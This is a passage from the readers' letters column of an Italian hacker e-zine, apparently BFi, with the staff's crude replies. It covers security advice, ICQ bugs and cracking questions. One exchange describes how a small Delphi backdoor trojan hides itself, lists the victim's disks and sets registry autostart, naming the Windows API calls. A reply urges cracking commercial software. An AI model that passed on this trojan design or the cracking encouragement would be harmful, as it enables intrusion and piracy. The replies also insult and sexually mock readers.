giusto, se mettete pure nome e cognome vero di una ragazza non ci state molto dentro...) mi pare una osservazione corretta. Molto + bello, divertente, utile e produttivo e quanti cazzo di altri aggettivi vi vengono in mente, fare un tool o qche ricerca su exploit, overflow, etc.. che gesti di questo tipo. Visto che non vi conosciamo, fate in modo di farvi conoscere, magari con qualche testo o tool meritevole o se preferite proseguire su questa strada evitate di parlare di noi su pagine hackate e vi manderemo in omaggio un cesto di arance (e chi ha orecchie per intendere non lo prenda in culo =))] [e dopo certe tr***te passiamo a una mail seria] [1] "sicurezza intrusioni tramite e-mail & ICQ" by Giovanni Alla vostra cortese attenzione vi pongo la preoccupazione dei nostri amici. Utilizzando il computer per lavoro, depositano in esso del materiale che non fosse divulgato, ma allo stesso tempo lo usano per svago tramite ICQ o scambio di posta elettronica. Estite la possibilit che un elemento estraneo s'intrufoli all'interno della macchina e prelevi dati riservati ? Se la risp. positiva come poterlo evitare ? [ -SERIOUS MODE ON- (a volte capita anche a me, giusto per far vedere che son quasi 'na persona normale, s0ftpj presto quotata in Borsa ?????? HIHIHIHI) Allora la risposta e' affermativa. Praticamente qualsiasi cosa che sfoci sulla rete e' a rischio intrusione. Qualcuno diceva (+ o -) "se non volete che la vostra macchina sia bukata, lasciatela off-line." Entrando nel merito della vostra richiesta, ICQ e' notoriamente conosciuto come un programma poco sicuro (per non dire bacato fino al midollo). Di questo programma di comunicazione sono stati infatti scritti e distribuiti DoS, spoofer, hijacker e cosi' via. Trovate una buona guida su packetstorm: http://packetstorm.securify.com/icq/icq.txt Recentemente e' stato anche scoperto un Buffer Overflow che permette di eseguire del codice assembler arbitrario semplicemente inviando un link in un messaggio molto lungo e con gli opcode in binario in fondo.(tralascio ulteriori dettagli tecnici, la notizia e' stata comunque postata su Bugtraq e penso che la mirabilis quando leggerete avra' gia' distribuito una patch). Stessa cosa vale per i client di mail, soprattutto quelli piu' conosciuti quali Netscape Messanger e Outlook che hanno sofferto, e soffrono di svariati bachi, piu' o meno gravi (esecuzione di applicazioni, furto di password, visualizzazione di file sul disco etc...). Gia' che ci siamo non tralasciamo i browser (IE e Netscape) che non sono mai sicuri come li si dipinge. Conviene di solito aggiornare sempre alla versione piu' recente e tenersi informati su cosa succede in giro. L'ideale e' seguire siti hack-related come packetstorm o technotronic o la Mailing List bugtraq dove vengono spesso pubblicati descrizioni e codici dei possibili bachi di sicurezza di tali software (vedi icq di cui sopra), Senza tralasciare la forte distribuzione di troiani famosi o meno che possono essere trasferiti +o- impunemente sulla rete. Ora meglio non esagerare che mi pare di far il telegiornalista (neologismo? invenzione mia del momento? salcazzo!!) che non capisce un cazzo e dipinge tutto nero quando si parla di Internet (manco a fare apposta han tirato giu' mezzo mondo informatico in questi giorni, e via di cazzate su cazzate). I miei personali suggerimenti per quanto riguarda la gestioni di dati "importanti" e da proteggere sono questi : 1) teneteli su una macchina scollegata dalla rete o in rete locale, ma con password discretamente sicura (se pero' uno degli altri pc salva la passw. di condivisione tanto vale buttare tutta la sicurezza a mare) 2) crittate i dati in qualche modo, o usando PGP (e affini) o meglio utilizzando software in grado di creare dischi virtuali protetti che possono essere "montati" solo quando servono e smontati in caso di connessione a internet. Ottimo x Win (e non crakkato come algoritmo a quanto ne so) BestCrypt della Jetico (www.jetico.com) (ora anche in versione x linux, di cui pero' non conosco l'efficacia). Per Linux ve ne sono molti altri, CFS, PPDD (http://linux01.gwdg.de/~alatham/) etc.. non vi resta che cercare. 3) utilizzate un firewall, sw o hw, e anche un antivirus che scanni anche il traffico proveniente dalla rete (McAfee, Panda etc...) -SERIOUS MODE OFF- (me so rott'e'cazz) 4) controllate che non siano per primi i vostri utenti a fare i "cazzoni" tipo montare troiani etc.. e in tal caso metteteli a pecor.. ehm alla berlina ^_^ In sintesi, o si ha un admin coi controcoglioni o e' facile finir bucati. Diciamo che un primo passo verso la sicurezza e' tenere lontano da occhi, ricchie e manacce indiscrete i file importanti, aggiornare sempre il sw e magari evitare di usare sw straconosciuti e strabuggati (vedi Outlook, gia' meglio e' x es Eudora o altri ancora poco famosi e quindi meno "testati" come bug). Non dimenticate di far largo uso di AV e magari avvaletevi della consulenza di qche esperto (o presunto tale ). Per ora, e' tutto, lo staff e la sua appendice poliedrica e malata (ovvero me stesso =))) resta a disposizione per ulteriori chiarimenti...] [2] "GaNzIsSiMo!" da gaborro toscano AllorA esistete veramente!!:-) [No vegetiamo e basta =)] Che gioia sapere che oltre ad esistere siete disponibili anche alle risposte! [Disponibili? Beh adesso non esageriamo, guarda che ti sbagli, noi lo facciamo x farci 2 ghignate alle vostre spalle dehehiho] MA non e' per caso che usate lo stratagemma di farvi inviare e-mail per potervi GUARDARE il mio pc? Se e' cosi' fate male, tanto le foto porno le ho su CD ]:->!!!! [Stronzo!!! Voglio le immagini pornooooooooooooooo, male che vada mandaci le foto di famiglia, quelle con tua sorella Uuauauauuuuuuu] Scherzi a parte ( ed anche lodi alla vostra rivista ;-) , passiamo alle domande che un profano di programmazione come me, rivolge solo a riguardo dei metodi per potere inc**are ,timz omnitelz e Co., carding e tutto quello che posso fare con la mia esperienza elettronica e con il vostro AiutO. Prima delle domande ringrazio (se pubblicherete e se qualcuno leggera' ) per avermi messo al corrente dei rischi, e che consiglio, caldamente come una troia, [Ahahahahahahahahaha] di leggere a tutti quelli che si accingono a questa strada..... Le mie domande sono: - come mai non fate una sezione dedicata esclusivamente ai trucchetti per GSM? [Per il semplice fatto che non ci sono molte informazioni a riguardo, quindi quando ci sono cose importanti le mettiamo, e comunque cose tipo i codici per vedere l'IMEI etc.. li trovi anche su siti tipo telefonino.net etc..] - dove chattate? [Cazzi nostri ^_^ Scherzi a parte qcuno magari lo becchi online su qualche server irc, chiedi, magari l'amico dell'amico dell'amico conosce qualcuno di noi... che culo aggiungerei !!! =)] - come mai non riesco a decriptare (si dice cosi?) bfi n 7? [Decrittare? Penso intendi dire scomprimere il tar.gz . Strano dovrebbe funzionare con Winzip e software simili che supportino tale formato di compressione... cerca su tucows o su winfiles qche gunzipper-untarrer (si dira' cosi'? =) Vabbe' uno dei tuoi amici l'avra'decrittato spero, altrimenti come farai a leggere BFi#8 con la risposta???? =)))] - sicuramente navigate moltissimo e conoscete numerosissimi links da proporci, perche' non trasmetterci questa conoscenza con una rubrica dei links? [Noi abbiamo numerosissimi links pro-PORCI, tipo www.tettefamose.com, www.culirotti.com pornstar.softcore-space.com, etc... ma non penso sia quel che cerchi tu =) btw su www.s0ftpj.org c'e' una sezione dedicata ai links, fate affidamento su quella, dovrebbe essere abbastanza fornita e updated (ci crediamo tutti...)] Piu' che domande forse possono sembrare richieste di una rivista su misura per me, ma per il vostro "rappresentante pubblicitario" ( si , ebbene , vi [E dove pensi di essere, su My_Personal_Yahoo ?!? =)] ho fatto pubblicita' a molti miei amici, non so se gradite, ma loro hanno gradito il links :-), [Entra in cattedra il docente di Inglese baronetto e lord Horse of the Horses: la "s" usata come plurale non si utilizza nella lingua italiana, ergo la forma corretta per utilizzare parole inglesi e' "il computer" per il singolare e "i computer" per il plurale, e NON "i computers". Dall'uso comune, colloquiale, alla cazzo diciamo pure, e' concesso di mettere la "s" MA FIGA ALMENO FATELO PER I PLURALI!!! Passi "i linkS" ma "il links" cosa cazzo e'?!? =))) Scusate a volte rompo il cazzo (MAVAAAAAA) ma dovevo dirlo ^_^] anche se non credo potrete accontentare tutte le mi' richieste , spero comunque in una vosra risposta. Ciao da gaborro toscano (soprannome per farmi riconoscere dai miei amici :-)))))) [Saluti a te, ai tuoi amici e pure a tua sorella quella ehm ai tuoi parenti vari ed eventuali =)))] [3] sadio by JAKE BLUES [il pirla ha allegato un .bmp da 762kb con la scritta Joliet Jake Blues NdSma e aggiungiamo pure che la lettera aveva le accentate di Win e per questo mi sta ancora piu' sul cazzo che me le devo editare a mano, quindi rispondo da bastardo NdCava] Hey cazzo siete proprio forti !!!!!!!!!!!! [Hey figa quanto sei lamah!!!!!!!!!!!!] Da quando leggo BFI sono un Dio cazzo. [Io invece da quando ci scrivo sono un Dio Cane, e' lo stesso?!?] Pero' vi vorrei chiedere perche' non inserite piu' articoli su come hakkare con quel deficiente di win98? [Semplicemente per il fatto che usato il telnettone di Wincretino per collegarti a una shell hai davanti un *nix e quindi la tua conoscenza a mena-clito del command.com non serve. Potrei anche aggiungere che Windows non e' (e non sara' MAI penso) OpenSource quindi e' un po' + dura provare ad ANALizzarlo disassemblandolo invece di averne le sorgenti.] lo so che linux e' migliore ma io preferisco win anche perche' programmo in lingo e con win sembra funzionare ottimamente. Un saluto e vi prego di continuare. [Ok allora vedi di scriverci dei t00lz da hax0r v3r4m3nt3 31337 col tuo supercalifragilisticaesperilali-lingo e noi ti facciamo tutti gli articoli che vuoi su come bucare i server windows, massi' pure i client, ma cheddico, ti facciamo pure il corso in 69 puntate su come hackare i cavi dell'alta tensione a MANI NUDE, SI' CAZZO SE LO FACCIAMO] P.S. Perche' non aggiungete un articolo anche su le decodifiche sat. [PerILsempliceFATTOcheNONteLOvogliamoDIREeTELEPIUeSTREAMaSCROCCOceLIvogliamo VEDEREsoloNOIallaFACCIAZZAtua!!!!] P.P.S. Vi posso chiamare maestri !?!?!?!?! [Mmm e noi possiamo chiamarti coglione?!?!?!?] HEHEHEHEHEH [HIHIHIHIHIHIHI........ Cazzo ridi!!!!] [4] "Ricarica" by fortm80 Mi rivolgo a Voi per ottenere al piu' presto il software per ricaricare gratis il telefonino (OMNITEL)!!!! Visto che questi cazzo di gestori ci spelano spero che la mia richiesta venga esaudita!!! Grazie. [Rispondo a te e a tutti gli altri che ce lo chiedono: sorry ragazzi, ma tali software sono solo bufale. A quanto ci e' dato sapere non vi e' modo per ricaricare a scrocco TIM o Omnitel o Wind. Che questi gestori ci inchiappettino e' un dato di fatto, ma non c'e' nulla da fare... se non telefonare di meno o attaccarsi alla prima centralina telefonica che trovate... =)] [5] sadio by Polcafr Non avete una mailing list a cui iscriversi ed essere aggiornati delle novit che pubblicate ? [No, c'era una ML su onelist (o era listbot), ma visto lo scarso numero di iscritti non viene praticamente piu' utilizzata. La cosa migliore da fare e' tenere sottocchio il nostro sito che ricordo e' www.s0ftpj.org . Ah dimenticavo, se smaster come suo solito spara la cazzata ^_^ tipo "BFi N uscira' il X di Y" prima di tutto NON CREDETECI ASSOLUTAMENTE e secondo evitate di stressare noi poveri *animali* che scriviamo che a momenti lo sapete prima voi di noi quando esce BFi, vero Musherpes?!? =)))] [6] "Riflessioni sul LSOA "Deposito Bulk"" by Odiron In questo articolo vorrei esprimere, e con me tutto l'Anarchy in The System squad, solidarieta' nei confronti del "L.S.O.A Deposito Bulk". Quando leggerete questa e-zine puo' essere che il problema si sia gia'risolto, in maniera positiva o negativa....ma le cose fino ad ora stanno cosi': Il , okkupato dai RASC (Rete Autogestita Studenti & Collettivi) e che in se' racchiude molti progetti e realta' (RASC;Internet_Cafe';2 sale da bar;sale da concerto; infoshop;librerie;camere oscure;sale prove;Contro-informazione sulle droghe; lotta al probizionismo;laboratori artistici e di teatro;Danza;attivita' con i bambini del quartiere "Azimut";Ass-cult;Interzona525;Aule Studio;Gruppo di sperimentazione informatica;oltre al fatto che S stato sede dell'Hack-it '99) che hanno risvegliato gli animi in quella zona triste e lugubre, con una curva, quella curva che rischia di mandare a PUTTANE tutto il lavoro del bulk! Infatti il Bulk (Che il 12 dicembre ha compiuto il suo secondo anno di vita) rischia di essere sgomberato, vogliono costruire un ponte sopra di loro, per una strada da ricostruire e rendere -!!!- s0ciAlMenTe uTilE-!!!- per il comune di Milano, comune che ,tramite manovre di "pulizia ambientale" hanno fatto spostare il Leonkavallo, hanno chiuso Parco Vetra, hanno trasformato parco Sempione in un posto dove la gente DEVE aver paura di andare Lo Sgombero del Bulk sarebbe un altro punto a favore dei -!!!- BUFFONI -!!!- che "governano" Milano! Mi riferisco ad Albertini e Verro, assessore al demanio della giunta milanese.... Costoro hanno messo la loro BELLA ed IMPORTANTE firma su questa ordinanza, che sancisce il passaggio di un ponte sopra quello che ora e' il deposito Bulk, sopra a quello che da due anni S uno dei pochi capisaldi della cultura "Alternativa".... Noi non possiamo assolutamente permettere che tutto ci. succeda, Milano perderebbe un altro punto di riferimento, dando la citta' in mano a SBIRRI che non sanno fare altro che Picchiare e Blokkare l'esistenza a dei ragazzi che vogliono semplicemente trovare un proprio spazio libero, dove ci si puo' comportare liberamente senza nessuno che ti skazza perche' stai fumando uno spino, senza dare fastidio a nessuno! Tutto questo non si avverera' solo se ci sara' solidarieta' verso questo sociale, solo se anche VOI aiuterete a far continuarea vivere il Deposito Bulk Quindi aiutateci!,sosteniamo le nostre conquiste nella citta', sosteniamo il "DeP0sit0 BulK" !!!!! L.S.O.A. Deposito Bulk Via Sturzo 51 Milano Tel: 02-29014324 Fax: 02-63618561 e-mail: bulk@ecn.org Link Utili http://www.ecn.org/hackit99 http://www.ecn.org/bulk http://www.ecn.org/bulk/appelli.html http://www.ecn.org/metropolix CiaoCiao Oldiron61 (AiS-KdT!) [Riporto pari pari la mail senza commenti, ps unica cosa potevate almeno mettere il mezzomilione di persone cui avete mandato la lettera in BlindCC no? =)] [7] sadio da Andrea (o Simone o quelcazzo che e') [mail personale, ma che sia di monito] ciao sono andrea e non mi conosci. ti vorrei chiedere se mi puoi fornire programmi "spaziali" per entrare in qualsiasi computer. non ho esperienza di queste cose lo ammetto senza vergogna ma vorrei cominciare a cimentarmi su queste cose. [Sei infettato col virus happy99.exe o alternativamente me l'hai mandato apposta, e' forse il caso di scaricare e installare un antivirus. Per i programmi spaziali c'e' gia' la NASA che c'ha il suo bel daffare col gestire i satelliti che non funzionano quindi io non mi scomodo =))] [8] "AIUTO" by Piergiorgio SONO UN ASPITANTE hAkER CHE AMBISCE #LL'3L1T3 MA MOLTI DEI TERMINI CHE TROVO NELLE GUIDE NON SO COSA SIGNIFICHINO DOVE POSSO TROVARE SPIEGAZIONI ANCORA PIU' ELEMETARI? ESISTE UNA CHAT ITALINA DI hAKERS? IO CHATTO IL CHAT bYTIN (LO SO CHE SQALLIDO) SE IL BUON SAMARITANO CHE E' IN GRADO DI DARMI QUESTE INFORMAZIONI ENTRA CON UN NOMEDEL TIPO :MENTORE GLI SAREI VERAMENTE GRATO! [Che dire, caro aSputante hakker, piu' che ambire all'elite qui lambiamo la lameraggine... dioCAPSLOCK. Come guide + semplici consigliamo i sussidiari delle scuole elementari che sono molto completi e trattano svariati argomenti, oppure quando uscira' "Hacking for Dummies" o "Learn to Hack in 14 nights" non mancheremo di farti mandare una copia da Apogeo o quel cazzo che e' =)] [9] sadio by 800m3r cmq veniamo a noi: io sono 800m3r...si un perfetto nessuno. mi limito a rompere i coglioni alla gente nelle chat bombardandole d massaggi mandati in vario modo e poche altre cosette. [Allora direi piu' che altro che sei un perfetto coglione.] avrai capito che sono una mezza seghetta...figurati che non sono riuscito ad installare neanche redhat!!!!!!!(linux 6.2) merda non mi legge una certa jpg e non mi parte l'installazione?!?!?!?!?!!?!??!?!?!?cazzo come faccio!?!???????????????? [Una jpg?!? Mah chissa', hai provato a girare il CD dalla parte giusta?!? =) o forse era la tua immagine che ha fatto ribrezzo alla RH e si e' rifiutata di installarsi per essere usata da un coglionazzo cosi'??] ho bisogno d consigli,voglio diventare + stiloso con il bombing in chat(il mio bersaglio preferito mtv) [venitelo a prendere per favore... In cambio per il servizio reso alla comunita' chiedo solo una notte con Giorgia........^_____^ "seeeeeenza regoooole, se l'istinto c'e' ci sara' un percheeeeee'"] e magari entrare in qualche sistemino.... [e perche' non fare qualche sistemino al Super Anal-otto?? Chissa' mai che vinci qualche centinaio di miGlioni e lasci in pace internet, il pc e pue noi...] 800m3r(15enne dalla pazzia galoppante) [Ne conosco di 15-16enni fumati (ciao Jolly, ciao Sandman ^_^), ma te sei proprio da ricovero........] ps sto imparando a muovermi in ambito os 400...idee creative??? [oh almeno qualcosa di utile, mi domando solo cosa ci faccia un as400 in mano a un ragazzino...... poi si grida allo scandalo quando buttano giu' yahoo e amazon.... Per le idee creative dai un occhio a www.CreativeLabs.com, magari ti sanno dire qualcosa =))] [A] "The Lamerizer" by Valerio Capello Sono l'autore di "Essere Hacker" pubblicato su BFI#7. [YoYo Vale] Per divertimento ho scritto una pagina JavaScript chiamata "The Lamerizer" ( http://www.ElfQrin.com/lamerize.html ), che converte il testo in formato lame, per cosi' dire. La pagina in questione ha solverato un polverone in alcune webboard, soprattutto su CyberArmy ( http://www.cyberarmy.com/wwwboard/index.shtml), anche perche' Overlord (il curatore di CyberArmy) ha cambiato il nick in vR֮d dopo averla visitata, invocando un ritorno ai vecchi tempi, quando quel tipo di scrittura era limitata al solo ambiente hacker. Ve lo mando perche' comunque mi sembra una cosa curiosa. Ciao, Valerio "Elf Qrin" Capello [bah fosse per me queste scritture le eviterei del tutto, l4m4h o h4x0r che dir si voglia. Come avete gia' visto nelle mail precedenti di gente che si sta esaltando un po' troppo gia' ce n'e' troppa... Un saluto a Valerio!!!] [B] "no subject" by Un Amico [Risponde \sPIRIT\ con qche mia nota qui e la'] Salve Gruppo di BFI. Siete davvero mitici, ma vorrei dire una cosa a \sPIRIT\ (niente di cattivo, eh !?) [No figurati sono sempre ben accette le critiche, specie se ben documentate e possibilmente con *prove e sorgenti allegati* ] Nel BFI n5 (si sono un po indietro ma vi ho scoperto da poco) c'era l'articolo NET RAiDER PR0JECT v0.0 nel quale descrivevi come fare una back door in ASM. Ora tu dicevi anche che una back door scritta con linguaggi in alto livello era sicuramente troppo grande (in effetti 100k sono gi tantissimi). Io per ti dico che in Delphi (senza usare neanche una linea di assembler) ho scritto una Back Door di 19k (14 con UPX o ASPACK) che supporta: [Allora... a parte che direi e' impossibile non affermare che in linguaggi ad alto livello si ottengono sicuramente eseguibili di dimensioni maggiori... ora la questione qual'e', specie riguardo al delphi... si puo' fare a meno di un sacco di componenti, e la cosa riduce drasticamente la dimensione dell'eseguibile, si puo' selezionare la piattaforma di esecuzione (e mi riferisco in questo caso a text/gui), ma non si puo' scendere sotto certe dimensioni, per prove tecniche effettuate piu' e piu' volte... cmq andiamo avanti...] invisibilit (con il register service ecc. ecc.) [Chiamata alla RegisterServiceProcess tramite la GetModuleHandle, in delphi sono 2 righe di codice se siamo sfigati...] lettura dei dischi del "nemico" (floppy, cd, hd) [FindFirstFile - FindNextFile con un bell'*.* dal toplevel, e si restituisce al client la lista... anche qui non vedo piu' di 5 righe di codice] possibilit di mandare MSGBOX con testo che si vuole [doh...] possibilit di scrivere sul desktop (che fa molto tendenza) [Beh... scusa, una volta che si scrive sul desktop che ci vuole a scrivere su tutto il filesystem? Alla fine si riduce a cambiare il path...] [Forse intende dire scrivere direttamente sul DeviceContent che rappresenta lo schermo, comunque anche quelle sono meno di 10 righe di codice con tre API da chiamare. NdCava] registrazione automatica nel registry [La registrazione automatica nel registry non prende piu' di un paio di chiamate alle api, spulciando il sorgente del NetRaider v0.0, tutto si riduce ad una chiamata alla api RegSetValueEx, e niente di piu', quindi dimensioni zero. Anyway, con tutto questo discorso voglio solo dire che le operazioni effettuate in 19k non compresso di trojan in delphi non sono poi granche', bisognerebbe vedere aggiungendo tutte le funzioni che un santo trojan scritto e finito a quanto si arriverebbe... Se il NetRaider fosse ottimizzato per dimensione e con tutte le funzioni di un, esempio, NetBus 2.0, l'eseguibile non andrebbe sopra i 20k, che sinceramente mi pare piu' che onesto... resta da vedere perche' il NetBus allora, che e' pure scritto in delphi, stia sopra i 300k (il server...). Cattiva programmazione?] [Sicuramente il NetBus non e' stato scritto con l'idea di ottimizzare lo spazio. Ho visto un troiano scritto in Delphi da un ragazzino volenteroso che in pochi kappa aveva messo moltissime delle funzioni di BO e Netbus e molto altro ancora, chiaramente in Delphi. La differenza sta nell'usare le classi predefinite o inserirsi a mano quello che serve. Btw poi e' possibile comprimerlo ulteriormente con un exe-compressor toccando cosi' i 53kappa, onestissimi visto che si parla di 1/6 del Netbus e del doppio delle funzioni. NdCava] Con questo non voglio dire che sono un figo (beh un po' magari), ma mi spiace molto vedere che un linguaggio potente come il Delphi venga spesso snobbato in favore di compilatori C++ magari scarsissimi. [Personalmente non ho mai avuto niente in contrario ai linguaggi ad alto livello, se non che, dimensioni a parte a questo punto, sono estremamente piu' lenti di un qualsivoglia pezzo di codice scritto in puro assembly... magari sono piu' maneggevoli e piu' comprensibili, ma e' tutto un problema di esperienza... credo che l'assembly non lo abbandonero' mai, ormai sono 10 anni che ci convivo benissimo] [E si vede come ti sei ridotto, spi !! ;)) NdCava] Comunque la mia una valida alternativa allo scrivere in ASM che sinceramente trovo un po' troppo laborioso e difficile (ihihih tutta invidia per te che lo sai fare...), anche se si perde un 5-10k (che in questo caso si sono pochi), si pu per lo meno lavorare in un linguaggio di alto livello. Se siete interessati all'eseguibile ve lo mando, ma ci vuole il controller (in pratica il client) che occupa circa 100k. Per i sorgenti invece, sono TROPP-SECRET :) Vi dico solo che quelli della BD (senza controller) occupano 4k (non compressi) [I sorgenti del client francamente non mi interessano, sarei invece curioso di vedere i sorgenti del server... mi spiace che siano tropp-secret, ma qui la filosofia dell'opensource vogliamo farla andare a lucciole?] Ciao e continuate cos ! {Delpher} [Non c'e' pericolo :)] [Io invece cerco di peggiorare sempre dippiu' :)) NdCava] [C] "VArie (piu o meno) gravi 'idiozie' " by Frida [Nota la mail e' stralunga quindi ho tagliato un (bel) po'] iii.)Seguono una serie di commenti, suggerimenti, note personali piu' o meno documentate/ documentabili frutto della nostra(mia e del brother) esperienza personale e di qualche studio che penso possano interessare qualcuno. [WOWOWOWOWOW Una lettrice, finalmente :PPPPP] iv.)In ogni caso, se pensate che ci sia qualcosa di interessante pubblicatelo, altrimenti fatevi una risata o cestinate il tutto, chiedo solo che nel caso abiate intenzione di tagliare qualcosa lo facciate senza alterare il significato originale del pezzo! [Io ci provo........] v.)Sul numero tre ho trovato un crackme.exe (di cui tra l'altro funziano solo le prime cinque sezioni, quando arriva la sesta? ) cosa vuol dire se le ho rotte tutte in due o tre di ore intendo se il livello di difficolta' dei programmi reali e' maggiore di quello del crackme (fino a 15 giorni fa non sapevo che cosa fosse soft-ice ne un codice a 32 bit) al momento non ho sottomano niente di reale da provare a rompere. posso avere il sorgente del lvl.5? [I programmi normalmente in commercio hanno svariati gradi di complessita' di protezione. Si passa dal software idiota con la chiave IN CHIARO dentro all'eseguibile (non sto scherzando) alla protezione fetente con chiave hardware e simili. Diciamo che un buon 99% e' crakkabile, tutto sta alla bravura del cracker e ovviamente alla disponibilita' di tools adeguati. Che dirti "sono cosi' facili i programmi veri?" Vedi tu! Scaricati qualcosa, non so, un PaintShopPro, un Teleport, un AcdSee e provaci!!!] Perche' ci tenete tanto ad 'ETICHETTARVI'? Premesso che non sono un hacker, indipendentemente da quale dei significati gli si attribuisca, senza tirare in ballo ne la conoscenza ne la capacita, In particolare sono piuttosto pigro e penso che questo sia un consistente blocco in partenza. [Lo scazzo e' un modus vivendi, in questo siamo simili =)))] Fine della premessa. riprendo daccapo. Perche' ci tenete tanto ad 'ETICHETTARVI'? A parte l'etica... Chi buca un sistema e' hacker? se no quanti ne servono? E' una questione di quantita' o varia anche a seconda della qualita' Es. sito della Cia(Archivi segreti!) o di qualche ProgettoCheNonAbbiamoIdea? [Non c'entra quanti sistemi si bucano, e' una filosofia di vita, insieme allo scazzo =))] NOtA: 1)E' possibile installare due SO sulla stessa macchina? SI, questo lo so!!!:-) [Si' generalmente si puo', poi dipende da che OS si tratta] 2)come si fa'? (Dove si trova un 'manuale di istruzioni' in formato Bova-Byte, cioe' spiegato passo passo che lo sa fare anche un bovino!) [Mmm massimo un Equino-Byte, btw non so dirti dove prendere informazioni, dipende che os devi montare, se vuoi montare NT(o 2000)+Win9x+Linux lo puoi fare facilmente senza comprare l'enciclopedia britannica, se invece vuoi mettere OS/2, QNX, BeOS e SADIOX mi sa che e' un po' + dura, fai qualche prova male che vada perdi tutti i dati sull'hard-disk :-)] Chi mi spiega che cosa c'e' scritto sotto? [ Considerazioni etiche a parte, gli hacker considerano che chiunque non possa immaginare un modo piu' interessante di giocare con i loro computer di penetrare in quello di qualcun altro debba essere proprio "un perdente" [d'altra parte hanno la stessa considerazione per chi usa il computer in modo assolutamente convenzionale, come esclusivamente per scrivere documenti o per giocare] [...] ] Mi pare che dica tutto e il contrario di tutto! COM'E' CHE SI VINCE? [Dal pezzo si e-vince che il perdente e' colui che usa il computer x usi "normali" o comunque chiunque NON pensi che il modo migliore x usare un computer sia quello di penetrare nel computer di un altro. Non ricordo chi l'ha scritto, ma come discorso e' personalmente opinabile, vabbe' lasciamo perdere, ognuno ha le sue idee e si sa che le mie sono del cazzo =))...] [ Gli hackers dovrebbero essere giudicati dal loro hacking, non da criteri fasulli come diplomi, eta', razza, o posizione sociale.] "Io Gli hacker li divideri in quattro categorie..." vedi 'Il mitico EDOardo' [termine hacker fa piu' notizia... La differenza tra gli hacker e i giornalisti e' che i primi hanno un'etica, i secondi neanche il senso del pudore).] Pienamente d'accordo in linee generali [Beh, ma noi che scriviamo sulla zine cosa siamo? giornalisti? idioti? hackers? Mmm la seconda che ho detto.........] LEggendo la posta dei lettori ho provato alcune sensazioni un po' spiacevoli! [Ahi ahi ahi qui mi si tira in ballo, e quando il gioco si fa duro i maroni cominciano a ballare, no aspe' come cazz era....??? =)] Perche' pubblicate le lettere di ragazzini con lo scopo di prenderli per il culo? [per questo, quest'altro e quell'altro motivo.] Concordo pienamente con voi quando sminuzzate un pirla(Facciamo un colpo in banca e sputtaniamo i conti correnti -quasi lo merita un programmino con cui impiccarsi-) [e mi pare il minimo =)] Ma quando ti chiedono tutta la roba illegale, o sono incazzatissimi col provider e vorrebbero mangiarlo fritto fanno un po' pena! [Il prode equino gira la testa a destra e a sinistra, guarda davanti, si gira indietro e stupore degli stupori non trova un diploma di laurea in Psicologia (criminale) appeso alla sua parete. Cosa intendo dire? Che se qualcuno ha dei problemi, gli girano le palle, e' pazzoide ed esaltato e vuole bucare la CasaBianca e pure Chelsea Clinton (AAAAARGHHHH!!!!!!) non deve scrivere a BFi!!!! Che cosa ci posso fare io (noi) se il loro provider fa schifo? Piu' che bestemmiare e insultarli non si puo' fare, quindi e' inutile chiedere certe troiate. E se ti sembriamo cattivi leggiti Phrack oppure usciamo a cena (offre smaster???) e ti faccio vedere quando so essere brafo pampino =))] [Per nulla, la mail era interessante e non mi sono personalmente incazzato, gli altri non so ma non penso, anzi per una volta una mail con quasi un significato che e' stata risposta velocemente, male e manco in italiano, ma tanto mi pagano uguale anche se lavoro male (mi sento molto uno "statale" deheheh, vedo gia' le mail di protesta dei postini.....)] ] Anche gli statali hanno un cuore! E puo' darsi che facciano il loro lavoro con passione!! (Alle volte!) [Alle volte appunto......] da PFI [ - il panzone va pagato - ci sono sempre dei miseri costi per giacere sulla linea (cazzo collegare due fili ad un jack costa ;) ] Ultimamente utilizzano degli ascoltoni ad alta impedenza di ingresso che son praticamente impossibili da sgamare(danno la variazione di impedenza di linea cosi bassa da essere irrilevabile) [Bah se per quello con le comunicazioni satellitari e digitali vuoi che non "logghino" e registrino nulla??? Non dico Echelon, ma non penso che l'italia sia cosi' indietro......] fRida:-). [spero non sia il diminutivo di FRIgiDA HIHIHIHIHIHIHI =)) Mi spiace per i numerosi tagli, ma se mettevo tutta la lettera poi finivamo lo spazio (che non e' limitato :-)) e si finiva x esagerare. Se vuoi farci sapere qche altra considerazione < di 3k siamo ben accetti =)] [D] "richiesta" by Giovanni (cerchero' di essere il + breve possibile) Complimenti per la rivista, e' ottima. Mi servirebbe sapere come si trova la password di sblocco per utilizzare numeri di centri messaggi stranieri con omnitel (BFI 6). Grazie e continuate cosi'!! [Che io sappia anche utilizzando centri-messaggi stranieri Omnitel e' furba (o puttana che dir si voglia) e ti addebita lo stesso il costo del SMS, quindi non ti conviene farlo, libero di essere smentito...] [E] "MITICI" by PAVEWAY Salve miei maestri [Prego chiamami Rabboni' =)] vi scrivo per 1 complimentarvi con voi 2 dov'e' finito Dr.Slump??? [E' vivo, mio malgrado, anche se ha sempre tantissimi impegni =)] 3 Dirvi che il sito dei Timoni ha una mail timoni@usa.net [Che culo!!!!] 4 Ho un problema con il softice durante il caricamento mi si blocca e mi dice errore in load netbeui [Che strano errore, mmm prova a disinstallare il protocollo Netbeui nelle proprieta'di Rete, poi max a rimontarlo] [F] "Aiuto !! " by Luca Vorrei sapere dove posso procurarmi dei programmi per crackare (vedi sofiICE , hacker's view, e gli altri scritti sugli articoli). Grazie in anticipo [Per quanto riguarda il cracking rivolgiti all'ottimo sito della crew italiana (e non??) Ringzer0 ovvero ringzer0.cjb.net o al sito di +Malattia malattia.cjb.net] [10] "Piccolo aiutino" by Luigi Ciao... complimenti per la guida e per tutte le informazioni che ci sono al suo interno... Ti chiedo un piccolo aiutino, se possibile: supponiamo che un mio amico perde la password del suo account di posta e non ricorda la risposta alla domanda che ti fa il provider se perdi la password. Come posso fare per aiutarlo? Sul server di posta gira Unix... Grazie infinite.... [manda una mail al root chiedendo perdono] [11] sadio by Salvatore Senza retorica "Grazie di esistere!!! Sono davvero un un neofita della rete,quindi figuriamoci se posso essere considerato,quindi vi chiedo per favore di dirmi da dove cominciare per capire praticamente tutto.Perch vi scrivo? Negli anni 70 riuscivamo a telefonare gratis con un pezzo di filo [a dir la verita' negli anni settanta se facevo qualcosa era succhiare il biberon o max la tetta della mamma (di DreadN :)))] elettrico,poi con la chiave che apriva i telefoni pubblici ed infine con un pezzo di carta stagnola.Ditemi come aprire un messaggio criptato poich ne ho ricevuto qualcuno.Per me un discorso oltre che sociale ancora adesso di trasgressione verso il sistema,e non di potere individuale.Non ignoratemi e non sottovalutatemi !!! Grazie. [criptato? di che tipo? e chenneso installa il PGP, www.pgpinternational.com] [12] "hacker principiante" by Germano sono da poco nel mondo della pirateria informatica, 